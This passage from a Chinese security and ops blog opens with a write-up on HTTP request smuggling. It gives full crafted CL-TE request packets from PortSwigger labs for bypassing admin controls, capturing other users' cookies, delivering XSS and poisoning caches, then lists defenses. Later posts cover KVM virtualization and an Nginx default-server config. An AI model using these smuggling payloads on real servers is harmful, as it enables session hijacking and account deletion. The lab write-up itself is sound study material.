foo: 多次请求后获得了响应You are not Admin,说明服务器对admin.php进行了请求。如果此时管理员已经登录了,然后想要访问一下网站的主页。他的请求为GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 效果如下我们可以看一下Wireshark的流量,其实还是很好理解的。阴影所示部分就是管理员发送的请求,在Nginx服务器中组合进入了上一个请求中,就相当于GET /admin.php?del=mengchen HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: GET / HTTP/1.1 Host: 10.211.55.2:10086 Cookie: admin=1 X-Forwarded-For: 10.211.55.2 Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2) 携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。4.3.4 第四个补丁https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体当时看这个补丁时,感觉是一脸懵逼,只知道应该和缓存有关,但一直想不到哪里会出问题。看代码也没找到,在9月17号的时候regilero的分析文章出来才知道问题在哪。当缓存命中之后,ATS服务器会忽略请求中的Content-Length请求头,此时请求体中的数据会被ATS当做另外的HTTP请求来处理,这就导致了一个非常容易利用的请求走私漏洞。在进行测试之前,把测试环境中ATS服务器的缓存功能打开,对默认配置进行一下修改,方便我们进行测试。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能 CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效,方便控制缓存过期时间 CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时,就对响应进行缓存 然后重启服务器即可生效。为了方便测试,我在Nginx网站目录下写了一个生成随机字符串的脚本random_str.phpfunction randomkeys($length){ $output=''; for ($a = 0; $a<$length; $a++) { $output .= chr(mt_rand(33, 126)); } return $output; } echo "get random string: "; echo randomkeys(8); 构造请求包GET /1.html HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Cache-control: max-age=10\r\n Content-Length: 56\r\n \r\n GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 第一次请求第二次请求可以看到,当缓存命中时,请求体中的数据变成了下一个请求,并且成功的获得了响应。GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 而且在整个请求中,所有的请求头都是符合RFC规范的,这就意味着,在ATS前方的代理服务器,哪怕严格实现了RFC标准,也无法避免该攻击行为对其他用户造成影响。ATS的修复措施也是简单粗暴,当缓存命中时,把整个请求体清空就好了。5. 其他攻击实例在前面,我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞,也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持,但它能做的不仅仅是这些,在PortSwigger中提供了利用HTTP请求走私攻击的实验,可以说是很典型了。5.1 绕过前端服务器的安全控制在这个网络环境中,前端服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此我们可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验,分别是使用CL-TE和TE-CL绕过前端的访问控制。5.1.1 使用CL-TE绕过前端服务器安全控制Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te实验的最终目的是获取admin权限并删除用户carlos我们直接访问/admin,会返回提示Path /admin is blocked,看样子是被前端服务器阻止了,根据题目的提示CL-TE,我们可以尝试构造数据包POST / HTTP/1.1 Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI Content-Length: 38 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 foo: bar 进行多次请求之后,我们可以获得走私过去的请求的响应。提示只有是以管理员身份访问或者在本地登录才可以访问/admin接口。在下方走私的请求中,添加一个Host: localhost请求头,然后重新进行请求,一次不成功多试几次。如图所示,我们成功访问了admin界面。也知道了如何删除一个用户,也就是对/admin/delete?username=carlos进行请求。修改下走私的请求包再发送几次即可成功删除用户carlos。需要注意的一点是在这里,不需要我们对其他用户造成影响,因此走私过去的请求也必须是一个完整的请求,最后的两个\r\n不能丢弃。5.1.1 使用TE-CL绕过前端服务器安全控制Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl这个实验与上一个就十分类似了,具体攻击过程就不在赘述了。5.2 获取前端服务器重写请求字段在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:描述TLS连接所使用的协议和密码包含用户IP地址的XFF头用户的会话令牌ID总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:找一个能够将请求参数的值输出到响应中的POST请求把该POST请求中,找到的这个特殊的参数放在消息的最后面然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。怎么理解呢,还是做一下实验来一起来学习下吧。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting实验的最终目的还是删除用户 carlos。我们首先进行第一步骤,找一个能够将请求参数的值输出到响应中的POST请求。在网页上方的搜索功能就符合要求构造数据包POST / HTTP/1.1 Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Content-Type: application/x-www-form-urlencoded Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA Content-Length: 77 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 多次请求之后就可以获得前端服务器添加的请求头这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 其中Content-Length的值为70,显然下面携带的数据的长度是不够70的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达70时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这样一来,后来的请求的一部分被作为了走私的请求的参数的一部分,然后从响应中表示了出来,我们就能获取到了前端服务器重写的字段。在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。5.3 获取其他用户的请求在上一个实验中,我们通过走私一个不完整的请求来获取前端服务器添加的字段,而字段来自于我们后续发送的请求。换句话说,我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后,其他用户也进行了请求呢?我们寻找的这个POST请求会将获得的数据存储并展示出来呢?这样一来,我们可以走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求了。这可以用来偷取用户的敏感信息,比如账号密码等信息。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests实验的最终目的是获取其他用户的Cookie用来访问其他账号。我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单,很容易就能发现网站中有一个用户评论的地方。抓取POST请求并构造数据包POST / HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 267 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 400 csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment= 这样其实就足够了,但是有可能是实验环境的问题,我无论怎么等都不会获取到其他用户的请求,反而抓了一堆我自己的请求信息。不过原理就是这样,还是比较容易理解的,最重要的一点是,走私的请求是不完整的。5.4 利用反射型XSS我们可以使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss在实验介绍中已经告诉了前端服务器不支持分块编码,目标是执行alert(1)首先根据UA出现的位置构造Payload然后构造数据包POST / HTTP/1.1 Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 123 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: "><script>alert(1)</script># Content-Type: application/x-www-form-urlencoded 此时在浏览器中访问,就会触发弹框再重新发一下,等一会刷新,可以看到这个实验已经解决了。5.5 进行缓存投毒一般来说,前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning实验环境中提供了漏洞利用的辅助服务器。需要添加两个请求包,一个POST,携带要走私的请求包,另一个是正常的对JS文件发起的GET请求。以下面这个JS文件为例/resources/js/labHeader.js 编辑响应服务器构造POST走私数据包POST / HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net Content-Length: 10 123 然后构造GET数据包GET /resources/js/labHeader.js HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Connection: close POST请求和GET请求交替进行,多进行几次,然后访问js文件,响应为缓存的漏洞利用服务器上的文件。访问主页,成功弹窗,可以知道,js文件成功的被前端服务器进行了缓存。6. 如何防御从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?不针对特定的服务器,通用的防御措施大概有三种。禁用代理服务器与后端服务器之间的TCP连接重用。使用HTTP/2协议。前后端使用相同的服务器。以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。参考链接https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/https://portswigger.net/research/http-desync-attacks-request-smuggling-rebornhttps://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdfhttps://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
2020年11月28日
84 阅读
0 评论
0 点赞
2020-10-08
云计算与KVM实践(网卡番外)
KVM-QEMU虚拟化具有四种虚拟网络设备1.rtl8139 经典的100M螃蟹网卡兼容性好,但是性能差劲。 这个网卡模式是qemu-kvm默认的模拟网卡类型,RTL8139是Realtek半导体公司的一个10/100M网卡系列,是曾经非常流行(当然现在看来有点古老)且兼容性好的网卡,几乎所有的现代操作系统都对RTL8139网卡驱动的提供支持 2.e1000 经典的1000M的Intel网卡,兼容性好,但性能一般般 纯的QEMU(非qemu-kvm)默认就是提供Intel e1000系列的虚拟网卡 3.virtio 半虚拟化神作网卡,10G网络带宽,性能优秀,但占用CPU 类型是qemu-kvm对半虚拟化IO(virtio)驱动的支持 4.VT-d 物理设备透传网卡(SR-IOV),性能优秀,但考研硬件设备 ps:以上解释为个人解释,非严谨解释先按照顺序测试一下所有网卡设备性能。测试平台:宿主机系统:Ubuntu 18.04 宿主机CPU:Intel I7-3630QM 宿主机内存:8G 神州K580S移动平台 客户机系统 Windows10 1903 客户机CPU:I7-3630QM(四线程) 客户机内存:4G 软件平台:iperf3 PS:测试数据仅供参考,具体由平台而异一、Rtl8139网卡启动KVM虚拟机打开iperf3进行TCP速度测试RTL8139网卡客户机上行速度RTL8139网卡客户机下行速度可以看出上行速度略高于下行速度。但交换性能较低二、e1000网卡e1000网卡客户机上行速度e1000网卡客户机下行速度e1000网卡是其中比较诡异的,下行速度基本上满载,而上行只能占据越60%的性能。且交换性能较低三、Virtio网卡virtio网卡客户机上行速度virtio网卡客户机下行速度virtio是唯一可以达到10Gb/s的,根据文献一,其iperf测试速率可达到9.4。文献1还提到如果virtio配置不合理速度只能达到3.6。不用担心这个情况,经查验ovirt自己生成的虚拟机配置都是合理的使用virtio_net半虚拟化驱动,可以提高网络吞吐量(thoughput)和降低网络延迟(latency),从而让客户机中网络达到几乎和原生网卡差不多的性能。四,VT-d网卡(平台不支持,略过,但是是真正最接近原生平台性能的网卡(硬件虚拟化))
2020年10月08日
98 阅读
3 评论
0 点赞
2020-10-07
云计算与KVM实践运用3
1.什么是KVM KVM的简史KVM (全称是 Kernel-based Virtual Machine) 基于内核的虚拟机。前面提到的,是采用硬件虚拟化技术的全虚拟化解决方案,但是其究竟是归于1类机还是2类机一直具有争议。ps:首先其基于kernel module的形式,与kernel融为一体,可认定为1类机,但其在逻辑上又受制于kernel ,资源管理均由kernel实现,又可认定为2类机。由 Quramnet开发,该公司于 2008年被 Red Hat 收购。它支持 x86 (32 and 64 位), s390, Powerpc 等 CPU。它从 Linux 2.6.20 起就作为一模块被包含在 Linux 内核中。它需要支持虚拟化扩展的CPU。它是完全开源的。官方网站:http://www.linux-kvm.org/page/Main_PageKVM 是基于虚拟化扩展(Intel VT 或者 AMD-V)的 X86 硬件的开源的 Linux 原生的全虚拟化解决方案。KVM 中,虚拟机被实现为常规的 Linux 进程,由标准 Linux 调度程序进行调度;虚机的每个虚拟 CPU 被实现为一个常规的 Linux 进程。这使得 KVM 能够使用Linux 内核的已有功能。但是,KVM 本身不执行任何硬件模拟,需要客户空间程序通过 内核模块/dev/kvm 接口设置一个客户机虚拟服务器的地址空间,向它提供模拟的 I/O,并将它的视频显示映射回宿主的显示屏。目前这个应用程序是 QEMU。Guest:客户机系统,包括CPU(vCPU)、内存、驱动(Console、网卡、I/O 设备驱动等),被 KVM 置于一种受限制的 CPU 模式下运行。KVM:运行在内核空间,提供CPU 和内存的虚级化,以及客户机的 I/O 拦截。Guest 的 I/O被 KVM 拦截后,交给 QEMU 处理。QEMU:修改过的为KVM虚机使用的QEMU代码,运行在用户空间,提供硬件I/O虚拟化,通过IOCTL /dev/kvm 设备和 KVM 交互。KVM 是实现拦截虚机的 I/O 请求的原理: 现代 CPU 本身实现了对特殊指令的截获和重定向的硬件支持,甚至新硬件会提供额外的资源来帮助软件实现对关键硬件资源的虚拟化从而提高性能。以 X86 平台为例,支持虚拟化技术的 CPU 带有特别优化过的指令集来控制虚拟化过程。通过这些指令集,VMM 很容易将客户机置于一种受限制的模式下运行,一旦客户机试图访问物理资源,硬件会暂停客户机运行,将控制权交回给 VMM 处理。VMM 还可以利用硬件的虚级化增强机制,将客户机在受限模式下对一些特定资源的访问,完全由硬件重定向到 VMM 指定的虚拟资源,整个过程不需要暂停客户机的运行和 VMM 的参与。由于虚拟化硬件提供全新的架构,支持操作系统直接在上面运行,无需进行二进制转换,减少了相关的性能开销,极大简化了VMM的设计,使得VMM性能更加强大。从 2005 年开始,Intel 在其处理器产品线中推广 Intel Virtualization Technology 即 IntelVT 技术。QEMU-KVM: 其实 QEMU 原本不是 KVM 的一部分,它自己就是一个纯软件实现的虚拟化系统,所以其性能低下。但是,QEMU 代码中包含整套的虚拟机实现,包括处理器虚拟化,内存虚拟化,以及 KVM需要使用到的虚拟设备模拟(网卡、显卡、存储控制器和硬盘等)。 为了简化代码,KVM 在 QEMU 的基础上做了修改。VM 运行期间,QEMU 会通过 KVM 模块提供的系统调用进入内核,由 KVM 负责将虚拟机置于处理的特殊模式运行。当虚机进行 I/O 操作时,KVM 会从上次系统调用出口处返回 QEMU,由 QEMU 来负责解析和模拟这些设备。 从 QEMU 角度看,也可以说是 QEMU 使用了 KVM 模块的虚拟化功能,为自己的虚机提供了硬件虚拟化加速。除此以外,虚机的配置和创建、虚机运行所依赖的虚拟设备、虚机运行时的用户环境和交互,以及一些虚机的特定技术比如动态迁移,都是 QEMU 自己实现的。 KVM: KVM 内核模块在运行时按需加载进入内核空间运行。KVM 本身不执行任何设备模拟,需要 QEMU 通过 /dev/kvm 接口设置一个 GUEST OS 的地址空间,向它提供模拟的 I/O 设备,并将它的视频显示映射回宿主机的显示屏。它是KVM 虚机的核心部分,其主要功能是初始化 CPU 硬件,打开虚拟化模式,然后将虚拟客户机运行在虚拟机模式下,并对虚机的运行提供一定的支持。以在 Intel 上运行为例,KVM 模块被加载的时候,它:首先初始化内部的数据结构;做好准备后,KVM 模块检测当前的 CPU,然后打开 CPU 控制及存取 CR4 的虚拟化模式开关,并通过执行 VMXON 指令将宿主操作系统置于虚拟化模式的根模式;最后,KVM 模块创建特殊设备文件 /dev/kvm 并等待来自用户空间的指令。 接下来的虚机的创建和运行将是 QEMU 和 KVM 相互配合的过程。两者的通信接口主要是一系列针对特殊设备文件 /dev/kvm 的 IOCTL 调用。其中最重要的是创建虚机。它可以理解成KVM 为了某个特定的虚机创建对应的内核数据结构,同时,KVM 返回一个文件句柄来代表所创建的虚机。 针对该句柄的调用可以对虚机做相应地管理,比如创建用户空间虚拟地址和客户机物理地址、真实物理地址之间的映射关系,再比如创建多个 vCPU。KVM 为每一个 vCPU 生成对应的文件句柄,对其相应地 IOCTL 调用,就可以对vCPU进行管理。其中最重要的就是“执行虚拟处理器”。通过它,虚机在 KVM 的支持下,被置于虚拟化模式的非根模式下,开始执行二进制指令。在非根模式下,所有敏感的二进制指令都被CPU捕捉到,CPU 在保存现场之后自动切换到根模式,由 KVM 决定如何处理。 除了 CPU 的虚拟化,内存虚拟化也由 KVM 实现。实际上,内存虚拟化往往是一个虚机实现中最复杂的部分。CPU 中的内存管理单元 MMU 是通过页表的形式将程序运行的虚拟地址转换成实际物理地址。在虚拟机模式下,MMU 的页表则必须在一次查询的时候完成两次地址转换。因为除了将客户机程序的虚拟地址转换了客户机的物理地址外,还要将客户机物理地址转化成真实物理地址。 功能概述1.内存管理内存也需要硬件模块VT-x与VT-d 的支持 NPT (Nested PageTables)AMD称为NPT GVA (Guest Virtual Address) 客户机虚拟地址 guest GPA (Guest Physical Address) 客户机物理地址 HPV (Host Physical Address) 客户机物理地址 Hypervisor EPT (Extended Page Tables)属于Intel的二代硬件虚拟化技术,针对内存管理单元(MMU)的虚拟化扩展。EPT降低了内存虚拟化的难度(影子页表)也提升了内存虚拟化的性能。从基于Intel的Nehalem架构的平台开始,EPT作为CPU的一个特性加入到CPU硬件中去了。 一个机子对应一个影子页表,记录了客户机虚拟地址与客户机逻辑地址、客户机物理地址的对应关系——虚拟机的物理地址对应着物理机的逻辑地址,物理机逻辑地址对应着物理机的物理地址。所以在没有EPT之前,内存的压力很大,既要存储影子页表又要管理这些影子页表。为了解决内存压力就产生了EPT,1个EPT页表=N个影子页表。CPU用EPT记录影子页表的信息,CR3会根据EPT表的信息把交互信息直接交给内核处理,这样内存的管理压力与存储压力就缓解了许多。 由于影子页表的存在,如果物理机内存只有32G的话,那只能安装3个8G内存的虚拟机,剩下的空间要留给内存进行管理以及其他工作。VPID (VirtualProcessor Identifiers)虚拟处理器标识,提升实时迁移的效率,同时节省实时迁移的开销,提高速度,降低延迟。在进行虚拟机迁移时,不仅要保证CPU型号一致,还要保证内存的编号与新物理机中的虚拟机编号的内存不冲突,这是VPID就发挥了作用。 TLB (translation lookaside buffer)旁路转换缓冲,或称为页表缓冲;里面存放的是一些页表文件(虚拟地址到物理地址的转换表)。#grep ept /proc/cpuinfo#grep vpid /proc/cpuinfo#cat /sys/module/kvm_intel/parameters/ept#cat /sys/module/kvm_intel/parameters/vpid#modprobe kvm_intel ept=0,vpid=0大页(hugepages) 大页(Huge Page) 的硬件要求:x86_64CPU支持2MB大页;内核2.6以上支持大页 大页的功能:减少内存页数量,从而需要更少的页表,节约页表所占用的内存数量,减少地址转换,提高内存访问性能。地址转换信息一般保存在CPU缓存中,减少地址转换信息,从而减少CPU缓存压力。1)先查看不使用大页时的状态 #getconf PAGESIZE //内存的单位存储#cat /proc/meminfo | grep Huge2)使用大页第一步 需要给大页一个存储位置,所以要挂载个大页格式的设备 #mount -t hugetlbfs hugetlbfs /dev/hugepages#hugepages=yes //开启大页第二步 修改内核参数 #sysctl vm.nr_hugepages=1024注:1024的单位是个,所以内存为2M*1024=2048M3)观察大页变化: 多开启几个虚拟机,观察CPU、内存、硬盘与进程的变化。注意,用了大页之后就无法使用swap空间的交换了,也不能以ballooning方式增长。 ballooning增长方式,如果物理机内存是6G,创建虚拟机1、2各是8G内存,虚拟机开机只用了2G内存,但是虚拟机都以为自己是8G内存,所以当虚拟机1需要运行应用时会向物理机请求内存(虚拟机不知道是请求,只知道自己有8G内存),假设是还要2G,物理机得知请求后会把空闲的2G分配给虚拟机1,虚拟机1运行完应用后不会主动将内存还给物理机(因为虚拟机只知道那是自己的内存),此时如果虚拟机2也需要2G内存运行程序,那么物理机会把虚拟机1的多余2G内存像挤气球一样挤出来分配给虚拟机2,如果内存还是不够用,那么物理机会把闲置的程序交换到swap分区,腾出内存空间。正常情况下,物理机会不断地挤气球,把闲置的内存空间尽量放在自己这里。4)虚拟机想要使用大页的话,直接输入命令 #hugepages=yes 。或者在虚拟机的xml文件中添加内容:<memoryBacking><hugepages/></memoryBacking>注意,配置虚拟机建议就修改配置文件,三方工具功能不全。内存超配 内存80%-90%的时候就应该警惕,此时很快就会使用swap空间了,需要查一查是什么原因,且内存是否有使用增长趋势,为什么增长,增长就要解决。内存50%时,但是此时却用了1G的swap空间,这更要警惕了,除了NUMA会导致这种情况以外,还有别的原因。 某服务器32GB物理内存,其上运行64个内存为1GB的客户机。宿主机需要4GB内存满足系统进程/驱动/磁盘缓存及其它应用程序所需内存(不包括客户机进程所需内存)。客户机交换分区大小为:1G*64+4G-32G=36G;因此宿主机交换分区大小为:36G+8G=44G。 内存的超配比1.2-1.5,也就是实际内存是1G的话,虚拟机内存加一起不能超过1.5G。生产环境中,实际内存与swap空间的比例=1:(1-2),但是根据行业说法,内存>8G时,swap就都给8G,不够用了再增加即可。增加swap空间的方法有dd文件,swapon 设备或分区,或者使用LVM实际上swap空间就是自动实现了内存的超配,当内存不够用时,主机会使用swap进行交换,把待机的应用放到swap空间,正在使用的程序在内存中,但是swap空间会使得主机运行很慢。程序无响应就是因为内存不够了,swap交换很慢。balloon也能实现内存超配,但是需要安装驱动。通过virio_balloon驱动来实现宿主机Hypervisor和客户机之间的协作。页面共享实现内存超配(page sharing) 通过KSM(Kernel Samepage Merging)合并多个客户机进程使用的相同内存页。
2020年10月07日
67 阅读
0 评论
1 点赞
2020-09-25
云计算与KVM实践运用2
上一篇降到硬件虚拟化和软件虚拟化,那么,何为硬件虚拟化何为软件虚拟化呢1.软件虚拟化技术顾名思义,这是通过相关软件来模拟直接实现VMM层,纯软件的还原重定向客户机内的系统指令。早些时候的硬件系统并不支持虚拟化辅助,仅仅只能通过软件对机器码的直接翻译来对目标客户机仿真。那么,既然每一条操作指令都需要软件重定向给物理硬件,可想而知,虚拟化性能较差。而且软件代码复杂度显著增长。不过可以随意模拟平台。2.硬件虚拟化技术硬件本身具有辅助能力,能支持客户机指令独立执行,而不完全依赖VMM截取后重定向。大多数情况下,客户机系统与原生系统大同小异。从2005年起,I家在自家U中加人了硬件虚拟化的支持,简称Intel VT 后期所有的Intel CPU中都可以看见有VT的身影且每一代都有改进。既然有软/硬虚拟化,那也有全/半虚拟化了1.半虚拟化什么是最理想的虚拟化?1.让客户机不认为自身运行在虚拟化环境中2.不需要vmm层介入。抛开第一点,配合修改VMM层,这就是半虚拟化PV 在一方面提升了性能,也简化了VMM的难度。且不过于依赖硬件虚拟化技术的支持,跨平台相对友好。经典的如Virtio 需要双端驱动。2.全虚拟化与半虚拟化相反而为之,它则坚持第一点,客户机完全不需要修改。所有指令操作由VMM在系统和硬件之间处理,模拟出完整的类似与物理平台的平台,全虚拟化FV由于达成第一个目标,大大增加了VMM的复杂性。其实自从2005年硬件虚拟化技术开始发展之前,FV被PF完败,,但在兴起之后,情况彻底改变,VT-x VT-d的出现,代表着硬件虚拟化技术的兴起。由硬件辅助的FV开始全面超过PV,但半虚拟化也并非停滞不前。以Virtio为代表的半虚拟化一直在发展,虽性能略低于全虚拟化,但其得益于较低的平台依赖率,依旧收到广泛的欢迎。从框架上看,虚拟化层的位置又可风为Type1 Type2两种虚拟化Type1虚拟化,这类虚拟化层直接运行于硬件之上,没有宿主机系统的概念,而是直接分配控制硬件资源。如Xen 、VM ESXType2虚拟化,这类虚拟化层运行于某一宿主机操作上,如VMwareWorkstation系列,KVM。这类虚拟化层表现为操作系统的一个应用程序,受宿主机系统的调度和管理。通常被抽象为进程。
2020年09月25日
48 阅读
2 评论
1 点赞
2020-09-24
云计算与KVM实践运用1
什么是云计算从2006年,亚马逊Amazon发布了所谓的“弹性计算云”后,各大互联网厂商随即也相继推出了自家的云计算服务,众多云计算平台也如雨后春笋一样相继出现。如Google Computer Engine、阿里云、Openstack等等。。。。从全球来看,云计算市场这些年蓬勃发展让人侧目。云服务的几种类型作为推动IT转业务的重大变革。着眼于运营效率,快速响应等。IT即服务讲提供业务所需的一切,而不散失对系统的可控制性的同时,保持灵活性和敏捷性根据服务层次之间的差距,可以分为IaaS(基础架构即服务)、PaaS(平台即服务)、SaaS(软件即服务)服务随之抽象,用户可控制范围也随之减小。SaaS 软件即服务服务商直接使用部署好的软件系统为用户服务,用户完全不需要维护软件本身,只需使用服务即可。用户为服务付费。如常见的各种社交软件,云储存软件。PaaS 平台即服务服务提供商为相对应的客户提供开发,运维应用的一个环境。用户仅需维护自身的应用程序,并提供下一级服务,用户为运行环境付费。如云虚拟主机,云函数,Google App Engine之类。IaaS 基础架构即服务作为拥有最大的自主权的服务方式,用户可以随意操作操作系统,虚拟网络,虚拟硬件等。用户为一个主机环境付费。如阿里云,腾讯云等云服务器云数据库产品。那么无论是那种的服务方式服务模型,都离不开虚拟化(Virtualization)技术的基础什么是虚拟化技术虚拟化这东西好像离我们很远又离我们很近维基百科上这么定义的:“在计算机领域,虚拟化指创建某事物的虚拟版本,包括虚拟的计算机硬件平台、 储存设备、以及计算机网络资源”不难看出 这是一种资源管理技术可以将计算机物理资源分割独立出来重新组合,以达到最大的利用使用率。广义上看,硬盘的逻辑分区,LVM都算的上虚拟化。通常地,一个物理主机,只能在物理设备上运行一个操作系统以及依赖的运行环境和应用。而在加入虚拟化技术后,硬件被抽象出来,分割成了多个逻辑上的主机,同样也可以在上运行操作系统与应用程序,称之为虚拟机。VMM(虚拟机监控器,Hypervisor)是为了虚拟化引入之中的一个软件层,它掌控所有物理服务资源,并向虚拟机呈现数份逻辑资源,将物理资源访问重定向,让虚拟机以为在使用物理资源。真实的物理机称之为宿主机,虚拟机称之为客户机。一样的,虚拟化分为软件虚拟化和硬件虚拟化
2020年09月24日
51 阅读
0 评论
0 点赞
2020-09-05
Nginx禁止ip方式访问80、443端口
很多时候,在部署CDN的Https回源的时候,令人烦躁的Shodan引擎会让世界知道你的源站地址,带来不少麻烦比如惨烈的本站,在云锁防恶意解析功能不知道跑哪去以后,变成了这样源站地址直接暴露,这样做cdn防御还有什么用,,,根据证书查询到源服务器。。。。于是就寻思着在NGINX上手动配置一个默认站点,NGINX的默认站点寻找顺序是按照配置文件顺序排列的,在找不到可用server_name的时候,自动返回第一个站点。于是乎,我们需要在server标签最前面配置一个默认server标签来屏蔽大部分错误的请求。不过首先,我们肯定不会特意去买了个证书去配置443的默认站点吧。那就先使用OpenSSL自签发一份NGINX可用的证书一、签发证书1.生成私钥文件:openssl genrsa -des3 -out server.key 2048Ps:会提示需要给证书加密码2.去除口令:mv server.key server.key.backopenssl rsa -in server.key.back -out server.keyPs:会提示询问证书的密码3.创建请求证书:openssl req -new -key server.key -out server.csrPS:会提示输入一些信息,可以乱填或一路回车4.生成证书文件:openssl x509 -req -days 36500 -in server.csr -signkey server.key -out server.crt这样我们就得到了这样四个文件二、配置NGINX1.上传我们的server.crt server.key文件到我们NGINX所在的服务器下2.修改配置文件,在所有server的最前面添加server { listen 80 default_server; listen 443 default_server; server_name _; ssl on; ssl_certificate /www/server.crt;//证书上传地址 ssl_certificate_key /www/server.key; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; return 403;//返回403错误,可以自定义页面或其他错误码 }PS:代码放置需求,在虚拟主机配置文件前或主站点前eg.(宝塔)三、结束然后咋办?还要说?当然是保存重启了或者重载拉:—)如果返回403的话,正常就是这样了这样一来,可以有效阻止绝大部分的针对主机和域名的扫描器,保障服务器安全
2020年09月05日
388 阅读
0 评论
0 点赞
2020-08-24
宝塔7.4.2 phpMyadmin未授权登录漏洞
